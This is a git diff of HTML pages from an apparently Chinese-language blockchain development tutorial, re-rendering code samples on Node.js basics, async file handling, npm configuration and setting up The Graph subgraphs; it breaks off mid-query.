      - - - - - - - - diff --git "a/cn/06_ethers/01_Node.js\344\273\213\347\273\215.html" "b/cn/06_ethers/01_Node.js\344\273\213\347\273\215.html" index 2ec96408..ee89d20f 100644 --- "a/cn/06_ethers/01_Node.js\344\273\213\347\273\215.html" +++ "b/cn/06_ethers/01_Node.js\344\273\213\347\273\215.html" @@ -36,10 +36,6 @@ - - - - @@ -3071,36 +3067,36 @@

      2. 定义变量

    4. 使用let来定义一个变量,而不要再使用var了,因为var有很多坑;可以认为let就是修复了bug的var。比如,var允许重复声明变量而且不报错;var的作用域让人感觉疑惑。
    5. 最佳实践:优先用const,如果变量需要被修改才用let;要理解目前很多早期写的项目中仍然是用var
    6. -
      var i = 10;
      -console.log("var :" , i);
      +
      var i = 10;
      +console.log("var :" , i);
       
      -var i = 100;
      -console.log("var :" , i);
      +var i = 100;
      +console.log("var :" , i);
       
       
      -function test () {
      -    var m = 10;
      -    console.log("test m :", m);
      +function test () {
      +    var m = 10;
      +    console.log("test m :", m);
       }
       
       test();
      -//console.log("test outside :", m);
      +//console.log("test outside :", m);
       
       
      -let j = "hello"
      -console.log("j :" , j);
      +let j = "hello"
      +console.log("j :" , j);
       
      -j = "HELLO"
      -console.log("j :" , j);
      +j = "HELLO"
      +console.log("j :" , j);
       
      -const k = [1,2,3,4];
      -console.log("k0 :" , k);
      +const k = [1,2,3,4];
      +console.log("k0 :" , k);
       
      -k[0] = 100;
      -console.log("k1 :" , k);
      +k[0] = 100;
      +console.log("k1 :" , k);
       
      -//k = [4,5,6,7];
      -//console.log("k2 :" , k)
      +//k = [4,5,6,7];
      +//console.log("k2 :" , k)
       

      3. 解构赋值

      @@ -3108,24 +3104,24 @@

      3. 解构赋值

      • 数组的解构赋值

        -
        const arr = [1, 2, 3] //我们得到了一个数组
        -let [a, b, c] = arr //可以这样同时定义变量和赋值
        -console.log(a, b, c); // 1 2 3
        +
        const arr = [1, 2, 3] //我们得到了一个数组
        +let [a, b, c] = arr //可以这样同时定义变量和赋值
        +console.log(a, b, c); // 1 2 3
         
      • 对象的解构赋值(常用)

        -
        const obj = { name: '俊哥',address:'深圳', age: '100'} //我们得到了一个对象
        -let {name, age} = obj //可以这样定义变量并赋值
        -console.log(name, age); //俊哥 100
        +
        const obj = { name: '俊哥',address:'深圳', age: '100'} //我们得到了一个对象
        +let {name, age} = obj //可以这样定义变量并赋值
        +console.log(name, age); //俊哥 100
         
      • 函数参数的解构赋值(常用)

        -
        const person = { name: '小明', age: 11}
        -function printPerson({name, age}) { // 函数参数可以解构一个对象
        -    console.log(`姓名:${name} 年龄:${age}`);
        -    //console.log("姓名:", name,  "年龄:", age);
        +
        const person = { name: '小明', age: 11}
        +function printPerson({name, age}) { // 函数参数可以解构一个对象
        +    console.log(`姓名:${name} 年龄:${age}`);
        +    //console.log("姓名:", name,  "年龄:", age);
         }
        -printPerson(person) // 姓名:小明 年龄:11
        +printPerson(person) // 姓名:小明 年龄:11
         
      @@ -3135,29 +3131,29 @@

      4. 函数扩展

      • 参数默认值,从ES6开始,我们可以为一个函数的参数设置默认值, go语言有默认值吗?

        -
        function foo(name, address = '深圳') {
        -    console.log(name, address);
        +
        function foo(name, address = '深圳') {
        +    console.log(name, address);
         }
        -foo("小明") // address将使用默认值
        -foo("小王", '上海') // address被赋值为'上海'
        +foo("小明") // address将使用默认值
        +foo("小王", '上海') // address被赋值为'上海'
         
      • 箭头函数,将function换成=>定义的函数,就是箭头函数

      • 只适合用于普通函数,不要用在构造函数,不要用在成员函数,不要用着原型函数

        -
        function add(x, y) {
        -    return x + y
        +
        function add(x, y) {
        +    return x + y
         }
        -//演示自执行函数
        -//函数也是变量,可以赋值
        -// 这个箭头函数等同于上面的add函数
        +//演示自执行函数
        +//函数也是变量,可以赋值
        +// 这个箭头函数等同于上面的add函数
         (x, y) => x +y;
        -// 如果函数体有多行,则需要用大括号包裹
        -(x, y) => {
        -    if(x >0){
        -        return x + y
        -    }else {
        -        return x - y
        +// 如果函数体有多行,则需要用大括号包裹
        +(x, y) => {
        +    if(x >0){
        +        return x + y
        +    }else {
        +        return x - y
             }
         }
         
        @@ -3167,30 +3163,30 @@

        5. Class继承

        由于==js一开始被设计为函数式语言==,万物皆函数。所有对象都是从函数原型继承而来,通过继承某个函数的原型来实现对象的继承。但是这种写法会让新学者产生疑惑,并且和传统的OOP语言差别很大。ES6 封装了class语法来大大简化了对象的继承。

        -
        class Person {
        -    constructor(name, age){
        -        this.name = name
        -        this.age = age
        +
        class Person {
        +    constructor(name, age){
        +        this.name = name
        +        this.age = age
             }
        -    // 注意:没有function关键字
        -    sayHello(){
        -        console.log(`大家好,我叫${this.name}`);
        +    // 注意:没有function关键字
        +    sayHello(){
        +        console.log(`大家好,我叫${this.name}`);
             }
         }
         
        -class Man extends Person{
        -    constructor(name, age){
        -        super(name, age)
        +class Man extends Person{
        +    constructor(name, age){
        +        super(name, age)
             }
        -    //重写父类的方法
        -    sayHello(){
        -        console.log('我重写了父类的方法!');
        +    //重写父类的方法
        +    sayHello(){
        +        console.log('我重写了父类的方法!');
             }
         }
        -let p = new Person("小明", 33) //创建对象
        -p.sayHello() // 调用对象p的方法,打印 大家好,我叫小明
        -let m = new Man("小五", 33)
        -m.sayHello() // 我重写了父类的方法!
        +let p = new Person("小明", 33) //创建对象
        +p.sayHello() // 调用对象p的方法,打印 大家好,我叫小明
        +let m = new Man("小五", 33)
        +m.sayHello() // 我重写了父类的方法!
         

        6. 总结

        ES6 的新语法有很多,有人将它总结为了一本书。当然,ES6提出的只是标准,各大浏览器和node基本实现了90%以上的新特性,极其个别还没有实现。我们目前讲的是最基本的一些语法,由于你们还未了解同步和异步的概念;Promise和async/await的内容将会在后面的课程中讲解。

        @@ -3218,58 +3214,58 @@

        2. 回调函数callback

        function foo2(value, callback1, callback2) { }

        3. 同步调用(阻塞)

        请事先在当前目录下准备文件"input.txt",写入任意数据。

        -
        var fs = require("fs");
        +
        var fs = require("fs");
         
        -var data = fs.readFileSync('input.txt');
        +var data = fs.readFileSync('input.txt');
         
        -console.log(data.toString());
        -console.log("程序执行结束!");
        +console.log(data.toString());
        +console.log("程序执行结束!");
         

        4. 异步调用(非阻塞)

        -
        var fs = require("fs");
        +
        var fs = require("fs");
         
        -//error first callback
        -fs.readFile('input.txt', function (err, data) {
        -    if (err) return console.error(err);
        -    console.log(data.toString());
        +//error first callback
        +fs.readFile('input.txt', function (err, data) {
        +    if (err) return console.error(err);
        +    console.log(data.toString());
         });
         
        -console.log("程序执行结束!");
        +console.log("程序执行结束!");
         

        demo

        -
        //node内置的读取文件的模块
        -let fs = require('fs')
        +
        //node内置的读取文件的模块
        +let fs = require('fs')
         
        -let filename = '1.txt'
        +let filename = '1.txt'
         
        -//先测试同步读取文件
        -let data = fs.readFileSync(filename, 'utf-8')
        -console.log('同步读取文件内容 data :', data)
        +//先测试同步读取文件
        +let data = fs.readFileSync(filename, 'utf-8')
        +console.log('同步读取文件内容 data :', data)
         
        -//同步执行:
        -//1. 同步读取文件时,无需回调函数,返回值就是读取的数据内容
        -//2. 主线程阻塞在读取函数这里,一直到读取完成后,才继续向下执行
        -//3. 慢,效率低
        +//同步执行:
        +//1. 同步读取文件时,无需回调函数,返回值就是读取的数据内容
        +//2. 主线程阻塞在读取函数这里,一直到读取完成后,才继续向下执行
        +//3. 慢,效率低
         
         
        -//异步执行:
        -//1. 需要注册一个回调函数
        -//2. 主线发现是异步调用时,直接把任务丢给nodejs的后台线程执行, 主线程继续向下执行其他代码
        -//3. 当后台执行完成时,会通知通过回调函数通知主线程,主线程执行。
        +//异步执行:
        +//1. 需要注册一个回调函数
        +//2. 主线发现是异步调用时,直接把任务丢给nodejs的后台线程执行, 主线程继续向下执行其他代码
        +//3. 当后台执行完成时,会通知通过回调函数通知主线程,主线程执行。
         
         
         
        -//测试异步读取文件
        -fs.readFile(filename, 'utf-8', /*回调函数*/ function (err, data) {
        -    if (err) {
        -        console.log('读取文件出错:', err)
        -        return
        +//测试异步读取文件
        +fs.readFile(filename, 'utf-8', /*回调函数*/ function (err, data) {
        +    if (err) {
        +        console.log('读取文件出错:', err)
        +        return
             }
         
        -    console.log('异步读取文件数据:', data)
        +    console.log('异步读取文件数据:', data)
         })
         
        -console.log('异步读取数据2222!')
        +console.log('异步读取数据2222!')
         

        5. 异步调用原理(了解即可)

        - 事件处理机制

        @@ -3301,70 +3297,70 @@

        6. NodeJs能做什么?

        四、常用数据类型

        1. Buffer

        JavaScript 语言自身只有字符串数据类型,没有二进制数据类型,因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。

        -
        console.log("=============== buffer 与 编码");
        -const buf = Buffer.from('runoob', 'ascii');
        -console.log(buf);
        -console.log(buf.toString());
        -console.log(buf.toString('utf8'));
        -console.log(buf.toString('hex'));
        +
        console.log("=============== buffer 与 编码");
        +const buf = Buffer.from('runoob', 'ascii');
        +console.log(buf);
        +console.log(buf.toString());
        +console.log(buf.toString('utf8'));
        +console.log(buf.toString('hex'));
         
         
        -console.log("=============== 创建buffer")
        -//指定长度,默认值为buffer,string,number
        -const buf1 = Buffer.alloc(10, 'test')
        -console.log("buf1 " + buf1)
        +console.log("=============== 创建buffer")
        +//指定长度,默认值为buffer,string,number
        +const buf1 = Buffer.alloc(10, 'test')
        +console.log("buf1 " + buf1)
         
        -//数组,buffer,string
        -let buffer = Buffer.from([1, 2,3,4])
        +//数组,buffer,string
        +let buffer = Buffer.from([1, 2,3,4])
         
        -console.log(buffer)
        -console.log(buffer.toString())
        -console.log(buffer.toJSON())
        +console.log(buffer)
        +console.log(buffer.toString())
        +console.log(buffer.toJSON())
         
        -console.log("=============写入buffer")
        +console.log("=============写入buffer")
         
        -let buf2 = Buffer.alloc(152);
        -let len = buf2.write('hello world!')
        -console.log("len : " + len);
        +let buf2 = Buffer.alloc(152);
        +let len = buf2.write('hello world!')
        +console.log("len : " + len);
         

        2. 事件

        Node.js 有多个内置的事件,我们可以通过引入 events 模块,并通过实例化 EventEmitter 类来绑定和监听事件。

        -
        let event = require('events');
        +
        let event = require('events');
         
         
        -//创建event
        -var eventEmitter = new event.EventEmitter();
        +//创建event
        +var eventEmitter = new event.EventEmitter();
         
        -//绑定事件
        -//名字,响应函数
        -eventEmitter.on('eat', function(){
        -    console.log("begin to eat!");
        -    eventEmitter.emit('drink', 'beer');
        +//绑定事件
        +//名字,响应函数
        +eventEmitter.on('eat', function(){
        +    console.log("begin to eat!");
        +    eventEmitter.emit('drink', 'beer');
         })
         
        -//绑定多个事件
        -eventEmitter.on('drink', function(what){
        -    console.log("begin to drink :", what);
        -    eventEmitter.emit('think');
        +//绑定多个事件
        +eventEmitter.on('drink', function(what){
        +    console.log("begin to drink :", what);
        +    eventEmitter.emit('think');
         })
         
        -console.log("before eat!");
        +console.log("before eat!");
         
        -//触发事件
        -let test = ()=> {
        -    eventEmitter.emit('eat');
        +//触发事件
        +let test = ()=> {
        +    eventEmitter.emit('eat');
         }
         
        -function thinkHandler(){
        -    console.log('who am I!');
        +function thinkHandler(){
        +    console.log('who am I!');
         }
         
        -//必须写处理函数,否则抛异常
        -//eventEmitter.addListener('think');
        -eventEmitter.addListener('think',thinkHandler);
        -eventEmitter.removeListener('think', thinkHandler);
        -eatCount = eventEmitter.listenerCount('eat');
        -console.log("eat count :" +eatCount);
        +//必须写处理函数,否则抛异常
        +//eventEmitter.addListener('think');
        +eventEmitter.addListener('think',thinkHandler);
        +eventEmitter.removeListener('think', thinkHandler);
        +eatCount = eventEmitter.listenerCount('eat');
        +console.log("eat count :" +eatCount);
         
         
         test();
        @@ -3375,15 +3371,15 @@ 

        五、常用模块

        1.模块系统(exports,require)

        为了让Node.js的文件可以相互调用,Node.js提供了一个简单的模块系统

        一个文件就是一个模块,使用export关键字实现

        -
        //hello.js
        -let Hello = () => {
        -    console.log("hello world!")
        +
        //hello.js
        +let Hello = () => {
        +    console.log("hello world!")
         }
        -module.exports = Hello;
        +module.exports = Hello;
         

        有导出才有导入,两者一定是配合使用的。

        -
        //main.js 
        -var Hello = require('./hello'); 
        +
        //main.js 
        +var Hello = require('./hello'); 
         Hello();
         

        2. 全局变量

        @@ -3399,41 +3395,41 @@

        2. 全局变量

      • setInterval/clearInterval:定时器
      
      -let array = [1,2,3,4];
      -console.table(array);
      -console.log(array);
      +let array = [1,2,3,4];
      +console.table(array);
      +console.log(array);
       
       
      -let obj = {name : 'lily', age : 20, address : 'Shenzhen'};
      -console.table(obj);
      +let obj = {name : 'lily', age : 20, address : 'Shenzhen'};
      +console.table(obj);
       
      -console.table("hello world!");
      +console.table("hello world!");
       
       
      -console.log(__dirname)
      -console.log(__filename)
      +console.log(__dirname)
      +console.log(__filename)
       
       
       
      -let argv = process.argv;
      +let argv = process.argv;
       
      -console.table(argv);
      +console.table(argv);
       
      -argv.forEach((value, index) => {
      -    console.log(index, value);
      +argv.forEach((value, index) => {
      +    console.log(index, value);
       })
       
       
      -let t1 = setTimeout(function () {
      -   console.log('帅不过三秒');
      -   clearInterval(t2);
      -}, 3000);
      +let t1 = setTimeout(function () {
      +   console.log('帅不过三秒');
      +   clearInterval(t2);
      +}, 3000);
       
       
      -let t2 = setInterval(function () {
      -   console.log("======= 1s 又 1s ")
      -    //clearTimeout(t1);
      -}, 1000);
      +let t2 = setInterval(function () {
      +   console.log("======= 1s 又 1s ")
      +    //clearTimeout(t1);
      +}, 1000);
       

      3. path模块

      @@ -3451,19 +3447,19 @@

      3. pathvar path = require("path"); +
      var path = require("path");
       
      -// 格式化路径
      -console.log('normalization : ' + path.normalize('/test/test1//2slashes/1slash/tab/..'));
      +// 格式化路径
      +console.log('normalization : ' + path.normalize('/test/test1//2slashes/1slash/tab/..'));
       
      -// 连接路径
      -console.log('joint path : ' + path.join('/test', 'test1', '2slashes/1slash', 'tab', '..'));
      +// 连接路径
      +console.log('joint path : ' + path.join('/test', 'test1', '2slashes/1slash', 'tab', '..'));
       
      -// 转换为绝对路径
      -console.log('resolve : ' + path.resolve('main.js'));
      +// 转换为绝对路径
      +console.log('resolve : ' + path.resolve('main.js'));
       
      -// 路径中文件的后缀名
      -console.log('ext name : ' + path.extname('main.js'));
      +// 路径中文件的后缀名
      +console.log('ext name : ' + path.extname('main.js'));
       

      4. fs模块

      @@ -3489,31 +3485,31 @@

      4. fs模块

    7. fs.watchFile:监视文件的变化

    8. -
      let fs = require('fs')
      +
      let fs = require('fs')
       
      -let filename = '1.txt'
      -let data = fs.readFileSync(filename)
      +let filename = '1.txt'
      +let data = fs.readFileSync(filename)
       
      -console.log('data :', data.toString())
      -console.log('读取结束!')
      +console.log('data :', data.toString())
      +console.log('读取结束!')
       
      -fs.writeFileSync('./2.txt', data.toString())
      -console.log('同步写结束!')
      +fs.writeFileSync('./2.txt', data.toString())
      +console.log('同步写结束!')
       
       
      -fs.writeFile('./3.txt', data.toString(), function (err) {
      -    if (err) {
      -        return
      +fs.writeFile('./3.txt', data.toString(), function (err) {
      +    if (err) {
      +        return
           }
       
      -    console.log('异步写文件成功!')
      +    console.log('异步写文件成功!')
       })
       
      -console.log('异步写还没成功...')
      +console.log('异步写还没成功...')
       
      -fs.stat('./1.txt', function (err, stat) {
      -    console.log('isFile :', stat.isFile())
      -    console.log('isDir :', stat.isDirectory())
      +fs.stat('./1.txt', function (err, stat) {
      +    console.log('isFile :', stat.isFile())
      +    console.log('isDir :', stat.isDirectory())
       })
       

      5. stream

      @@ -3540,27 +3536,27 @@

      - 操作大文件

      传统的fs.readFile在读取小文件时很方便,因为它是一次把文件全部读取到内存中;假如我们要读取一个3G大小的电影文件,那么内存不就爆了么?node提供了流对象来读取大文件。

      流的方式其实就是把所有的数据分成一个个的小数据块(chunk),一次读取一个chunk,分很多次就能读取特别大的文件,写入也是同理。这种读取方式就像水龙头里的水流一样,一点一点的流出来,而不是一下子涌出来,所以称为流。

      -
      const fs = require('fs')
      -const path = require('path')
      -
      -// fs.readFile('bigfile', (err, data)=>{
      -//     if(err){
      -//         throw err;
      -//     }
      -//     console.log(data.length);
      -// })
      -
      -// 需求复制一份MobyLinuxVM.vhdx文件,简写为pipe,on效果一致
      -const reader = fs.createReadStream('MobyLinuxVM.vhdx')
      -const writer = fs.createWriteStream('MobyLinuxVM-2.vhdx')
      -// let total = 0
      -// reader.on('data', (chunk)=>{
      -//     total += chunk.length
      -//     writer.write(chunk)
      -// })
      -// reader.on('end',()=>{
      -//     console.log('总大小:'+total/(1024*1024*1024));
      -// })
      +
      const fs = require('fs')
      +const path = require('path')
      +
      +// fs.readFile('bigfile', (err, data)=>{
      +//     if(err){
      +//         throw err;
      +//     }
      +//     console.log(data.length);
      +// })
      +
      +// 需求复制一份MobyLinuxVM.vhdx文件,简写为pipe,on效果一致
      +const reader = fs.createReadStream('MobyLinuxVM.vhdx')
      +const writer = fs.createWriteStream('MobyLinuxVM-2.vhdx')
      +// let total = 0
      +// reader.on('data', (chunk)=>{
      +//     total += chunk.length
      +//     writer.write(chunk)
      +// })
      +// reader.on('end',()=>{
      +//     console.log('总大小:'+total/(1024*1024*1024));
      +// })
       reader.pipe(writer);
       

      任务:用以下知识点完成大文件的拷贝。

      @@ -3646,66 +3642,66 @@

      6. Promise和asnyc/await

      // checkStat1()

      promise写法如下:

      -
      let fs = require('fs')
      -
      -//解决办法:把每一个异步函数都封装成一个pomise
      -let readFilePromise = () => {
      -    return new Promise((resolve, reject) => {
      -        try {
      -            fs.readFile('./1.txt', 'utf-8', function (err, data) {
      -                console.log('读取文件: ', data)
      +
      let fs = require('fs')
      +
      +//解决办法:把每一个异步函数都封装成一个pomise
      +let readFilePromise = () => {
      +    return new Promise((resolve, reject) => {
      +        try {
      +            fs.readFile('./1.txt', 'utf-8', function (err, data) {
      +                console.log('读取文件: ', data)
                       resolve(data)
                   })
      -        } catch (e) {
      +        } catch (e) {
                   reject(e)
               }
           })
       }
       
      -let writeFilePromise = (data) => {
      -    return new Promise((resolve, reject) => {
      -        fs.writeFile('./2.txt', data, 'utf-8', function (err) {
      -            if (err) {
      +let writeFilePromise = (data) => {
      +    return new Promise((resolve, reject) => {
      +        fs.writeFile('./2.txt', data, 'utf-8', function (err) {
      +            if (err) {
                       reject(err)
                   }
      -            resolve('写入成功!')
      +            resolve('写入成功!')
               })
           })
       }
       
      -let statPromise = () => {
      -    return new Promise((resolve, reject) => {
      -        fs.stat('./2.txt', function (err, stat) {
      -            if (err) {
      +let statPromise = () => {
      +    return new Promise((resolve, reject) => {
      +        fs.stat('./2.txt', function (err, stat) {
      +            if (err) {
                       reject(err)
                   }
      -            // console.log('文件状态:', stat)
      +            // console.log('文件状态:', stat)
                   resolve(stat)
               })
           })
       }
       
      -//如果想使用async,await,promise,
      -//调用函数的外面修饰为async
      -//promise函数前面加上await
      +//如果想使用async,await,promise,
      +//调用函数的外面修饰为async
      +//promise函数前面加上await
       
      -let checkStat2 = async () => {
      -    try {
      -        let data = await readFilePromise()
      +let checkStat2 = async () => {
      +    try {
      +        let data = await readFilePromise()
       
      -        let res = await writeFilePromise(data)
      -        console.log('res :', res)
      +        let res = await writeFilePromise(data)
      +        console.log('res :', res)
       
      -        let stat = await statPromise()
      -        console.log('stat:', stat)
      +        let stat = await statPromise()
      +        console.log('stat:', stat)
       
      -    } catch (e) {
      -        console.log(e)
      +    } catch (e) {
      +        console.log(e)
           }
       }
       
       checkStat2()
      -console.log('333333333')
      +console.log('333333333')
       

      异步代码的终极写法:

        @@ -3779,7 +3775,7 @@

        - 常用命令

        npm config list

      - 设置淘宝镜像

      -
      npm config set registry https://registry.npm.taobao.org
      +
      npm config set registry https://registry.npm.taobao.org
       

      常见错误:

      json parse faild }....@solc
      @@ -3788,7 +3784,7 @@ 

      - 设置淘宝镜像

      npm cache clean --force
       

      ==- 全局安装目录==

      -
      mac : /usr/local/Cellar/node/10.11.0/bin
      +
      mac : /usr/local/Cellar/node/10.11.0/bin
       

      4. 交互式解释器

      - 简单计算

      @@ -3807,29 +3803,29 @@

      - 简单计算

      - 使用变量

      不用变量时直接输出,使用时被变量接收

      -
      $ node
      -> x = 10
      +
      $ node
      +> x = 10
       10
      -> var y = 10
      +> var y = 10
       undefined
      -> x + y
      +> x + y
       20
      -> console.log("Hello World")
      +> console.log("Hello World")
       Hello World
       undefined
       

      - 下划线(_)变量

      你可以使用下划线(_)获取上一个表达式的运算结果:

      -
      $ node
      -> var x = 10
      +
      $ node
      +> var x = 10
       undefined
      -> var y = 20
      +> var y = 20
       undefined
      -> x + y
      +> x + y
       30
      -> var sum = _
      +> var sum = _
       undefined
      -> console.log(sum)
      +> console.log(sum)
       30
       undefined
       
      @@ -3860,7 +3856,7 @@

      - 下划线(_)变量

      @@ -3946,14 +3942,6 @@

      - 下划线(_)变量

      - - - - - - - - diff --git a/cn/06_ethers/index.html b/cn/06_ethers/index.html index 53c72cab..090bf00b 100644 --- a/cn/06_ethers/index.html +++ b/cn/06_ethers/index.html @@ -36,10 +36,6 @@ - - - - @@ -3057,7 +3053,7 @@

      第六章:ethers库

      @@ -3143,14 +3139,6 @@

      第六章:ethers库

      - - - - - - - - diff --git "a/cn/07_subgraph/00_\345\221\275\344\273\244\351\200\237\346\237\245.html" "b/cn/07_subgraph/00_\345\221\275\344\273\244\351\200\237\346\237\245.html" index 86a17321..e2b7d459 100644 --- "a/cn/07_subgraph/00_\345\221\275\344\273\244\351\200\237\346\237\245.html" +++ "b/cn/07_subgraph/00_\345\221\275\344\273\244\351\200\237\346\237\245.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,11 +3021,11 @@

      第0节:命令速查

      1. graph node搭建相关

      1. clone graph-node

        -
        git clone git@github.com:graphprotocol/graph-node.git
        +
        git clone git@github.com:graphprotocol/graph-node.git
         
      2. accessing Docker directory of the graph node

        -
        cd graph-node/docker
        +
        cd graph-node/docker
         
      3. Replacing host IP(Linux only)

        @@ -3041,11 +3037,11 @@

        1. graph node搭建相关

    9. accessing

      -
      cd  
      +
      cd  <you-subgraph>
       
       graph codegen
       graph build
      -
      +
    10. create subgraph

      npm run create-local
      @@ -3065,17 +3061,17 @@ 

      2. host service搭建相关

    11. 场景一:合约已经部署&verify,准备生成subgraph

      graph init \
         --product hosted-service
      -  --from-contract  \
      -  / []
      -
      + --from-contract <CONTRACT_ADDRESS> \ + <GITHUB_USER>/<SUBGRAPH_NAME> [<DIRECTORY>] +
    12. 场景二:获取官方demo

      -
      graph init --from-example --product hosted-service / []
      -
      +
      graph init --from-example --product hosted-service <GITHUB_USER>/<SUBGRAPH_NAME> [<DIRECTORY>]
      +
    13. auth

      -
      graph auth --product hosted-service 
      -
      +
      graph auth --product hosted-service <AuthKey>
      +
    14. 生成&编译

      graph codegen
      @@ -3112,7 +3108,7 @@ 

      3. Studio方式搭建(去中 @@ -3198,14 +3194,6 @@

      3. Studio方式搭建(去中 - - - - - - - - diff --git "a/cn/07_subgraph/01_\346\246\202\350\277\260.html" "b/cn/07_subgraph/01_\346\246\202\350\277\260.html" index 658d7c00..bd46fca1 100644 --- "a/cn/07_subgraph/01_\346\246\202\350\277\260.html" +++ "b/cn/07_subgraph/01_\346\246\202\350\277\260.html" @@ -36,10 +36,6 @@ - - - - @@ -3041,11 +3037,11 @@

      举例

    15. 请求语句:

      {
      -  pools(
      -      first: 50 
      +  pools(
      +      first: 50 
             orderBy: totalValueLockedUSD 
             orderDirection: desc  
      -      subgraphError: allow) {    
      +      subgraphError: allow) {    
             id    
             __typename  
           }
      @@ -3054,23 +3050,23 @@ 

      举例

    16. 请求结果:(部分)

      {
      -  "data": {
      -    "pools": [
      +  "data": {
      +    "pools": [
             {
      -        "id": "0x277667eb3e34f134adf870be9550e9f323d0dc24",
      -        "__typename": "Pool"
      +        "id": "0x277667eb3e34f134adf870be9550e9f323d0dc24",
      +        "__typename": "Pool"
             },
             {
      -        "id": "0xa850478adaace4c08fc61de44d8cf3b64f359bec",
      -        "__typename": "Pool"
      +        "id": "0xa850478adaace4c08fc61de44d8cf3b64f359bec",
      +        "__typename": "Pool"
             },
             {
      -        "id": "0x8c0411f2ad5470a66cb2e9c64536cfb8dcd54d51",
      -        "__typename": "Pool"
      +        "id": "0x8c0411f2ad5470a66cb2e9c64536cfb8dcd54d51",
      +        "__typename": "Pool"
             },
             {
      -        "id": "0x055284a4ca6532ecc219ac06b577d540c686669d",
      -        "__typename": "Pool"
      +        "id": "0x055284a4ca6532ecc219ac06b577d540c686669d",
      +        "__typename": "Pool"
             }
            ]
         }
      @@ -3139,7 +3135,7 @@ 

      小结

      @@ -3225,14 +3221,6 @@

      小结

      - - - - - - - - diff --git "a/cn/07_subgraph/02_\345\256\236\346\210\230\346\225\231\347\250\213.html" "b/cn/07_subgraph/02_\345\256\236\346\210\230\346\225\231\347\250\213.html" index 6fa48fdc..dec8201e 100644 --- "a/cn/07_subgraph/02_\345\256\236\346\210\230\346\225\231\347\250\213.html" +++ "b/cn/07_subgraph/02_\345\256\236\346\210\230\346\225\231\347\250\213.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,38 +3026,38 @@

      第2节:subgraph实现dapp

      image

      1. 下载代码

      -
      git clone git@github.com:dukedaily/subgraph-demo-dapp.git
      +
      git clone git@github.com:dukedaily/subgraph-demo-dapp.git
       

      2. 部署合约

      -
      # 进入合约目录
      -cd subgraph-demo-dapp/contracts
      +
      # 进入合约目录
      +cd subgraph-demo-dapp/contracts
       
      -# 配置.env信息
      -ETHERSCAN_API_KEY=''
      -ALCHEMY_KEY=''
      -INFURA_KEY=''
      +# 配置.env信息
      +ETHERSCAN_API_KEY=''
      +ALCHEMY_KEY=''
      +INFURA_KEY=''
       
      -MNEMONIC=''
      -PRIVATE_KEY=''
      +MNEMONIC=''
      +PRIVATE_KEY=''
       
      -# 安装
      +# 安装
       npm i
       
      -# 编译
      +# 编译
       npm run compile
       
      -# 部署:address: 0x48d2825f3238db40797dF659C97188d289401311
      +# 部署:address: 0x48d2825f3238db40797dF659C97188d289401311
       npx hardhat run scripts/deploy.ts --network goerli
       
      -# 初始化
      +# 初始化
       npx hardhat run scripts/setup.ts --network goerli
       
      -# verify
      +# verify
       npx hardhat verify 0x48d2825f3238db40797dF659C97188d289401311 --network goerli
       

      3. 配置subgraph

      请查看具体文件:

      -
      # 三个文件的关系:
      +
      # 三个文件的关系:
       subgraph.yaml:需要监听合约信息配置,包括:
           - 合约地址
           - 网络
      @@ -3076,17 +3072,17 @@ 

      3. 配置subgraph

      - NewGravatar -> mappings -> Gravatar -> 入库

      4. 启动graphnode(docker)

      -
      # 先修改监听的网络rpc: ethereum: 'goerli:https://ethereum-goerli-rpc.allthatnode.com'
      +
      # 先修改监听的网络rpc: ethereum: 'goerli:https://ethereum-goerli-rpc.allthatnode.com'
       
      -# 确保docker已经启动
      +# 确保docker已经启动
       docker-compose up
       

      5. 创建subgraph(本地)

      安装graph命令,负责编译、部署subgraph

      -
      #npm
      +
      #npm
       npm install -g @graphprotocol/graph-cli 
       
      -#yarn
      +#yarn
       yarn global add @graphprotocol/graph-cli
       

      生成&编译:

      @@ -3094,10 +3090,10 @@

      5. 创建subgraph(本地)

      npm run build

      创建subgraph并且部署在graphnode上:

      -
      # 先创建subgraph
      +
      # 先创建subgraph
       yarn create-local
       
      -# 后部署
      +# 后部署
       yarn deploy-local
       

      image-20220519221014419

      @@ -3116,26 +3112,26 @@

      6. 测试一下效果

      image-20220519221147734

      7. 准备前端

      进入到dapp文件夹,修改内容如下:

      -
      #echo "REACT_APP_GRAPHQL_ENDPOINT=http://localhost:8000/subgraphs/name//example-subgraph" > .env
      +
      #echo "REACT_APP_GRAPHQL_ENDPOINT=http://localhost:8000/subgraphs/name/<GITHUB_USERNAME>/example-subgraph" > .env
       
       REACT_APP_GRAPHQL_ENDPOINT=http://127.0.0.1:8000/subgraphs/name/dukedaily/subgraph-demo
      -
      +

      启动前端

      -
      yarn install  # global VPN mode
      +
      yarn install  # global VPN mode
       yarn start
       

      8. 安装有问题(可选)

      -
      # 删除文件
      +
      # 删除文件
       rm -rf yarn.lock
       
      -# 安装nvm,安装后需要配置文件,请仔细查看打印的log,有指导
      +# 安装nvm,安装后需要配置文件,请仔细查看打印的log,有指导
       brew install nvm
       
      -# 切换node版本,版本查询:https://www.npmjs.com/package/node
      +# 切换node版本,版本查询:https://www.npmjs.com/package/node
       nvm install v10.24.1
       nvm use v10.24.1
       
      -# 重新安装
      +# 重新安装
       npm install
       

      9. 查看效果

      @@ -3172,7 +3168,7 @@

      9. 查看效果

      @@ -3258,14 +3254,6 @@

      9. 查看效果

      - - - - - - - - diff --git "a/cn/07_subgraph/03_\350\257\255\346\263\225\345\255\246\344\271\240.html" "b/cn/07_subgraph/03_\350\257\255\346\263\225\345\255\246\344\271\240.html" index cf3bf7c7..20cd590c 100644 --- "a/cn/07_subgraph/03_\350\257\255\346\263\225\345\255\246\344\271\240.html" +++ "b/cn/07_subgraph/03_\350\257\255\346\263\225\345\255\246\344\271\240.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,13 +3020,13 @@

      第3节:语法学习

    17. 请求格式

      {
      -  useFlashloans(first: 5) {
      +  useFlashloans(first: 5) {
           id
           user
           token
           tokenName
         }
      -  stakePoolClaimeds(first: 5) {
      +  stakePoolClaimeds(first: 5) {
           id
           user
           amount
      @@ -3080,8 +3076,8 @@ 

      语法:

      举例:

      {
      -   //其中:deposit_gt 是deposit和 
      -  applications(where: { deposit_gt: "10000000000" }) {  _gt的组合
      +   //其中:deposit_gt 是deposit和 
      +  applications(where: { deposit_gt: "10000000000" }) {  _gt的组合
           id
           whitelisted
           deposit
      @@ -3090,7 +3086,7 @@ 

      语法:

      测试:

      query sb {
      -  simpleBlocks(where: { id_gt: "13712600"}){
